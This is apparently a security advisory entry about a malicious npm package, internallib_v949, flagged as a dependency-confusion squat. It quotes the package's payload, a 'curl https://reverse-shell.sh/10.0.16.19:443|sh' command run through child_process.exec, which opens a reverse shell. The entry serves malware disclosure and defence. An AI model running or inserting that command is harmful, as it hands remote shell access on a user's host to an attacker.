GCVE-110-OSM-2026-12375

index.js line 5 invokes child_process.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script into sh to open a reverse shell to the hardcoded attacker endpoint 10.0.16.19:443. The exported function is on the main module load path, so any consumer that invokes it hands full interactive shell access on the installer's host to whoever controls that endpoint. package.json also declares a self-referential dependency on internallib_v949 ^1.0.0, matching the dependency-confusion pattern in which an internal package name is squatted on the public npm registry to intercept internal builds. The package name pattern (an unusual '_v949' suffix on a generic 'internallib' base) is consistent with a targeted internal-name squat rather than a legitimate library. ENTRY index.js (main: index.js) EXFIL - Curl/Wget Pipe to Shell in index.js: "curl https://reverse-shell.sh/10.0.16.19:443|sh" ADDITIONAL FINDINGS - Shell Command Execution in index.js: "require('child_process')" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES index.js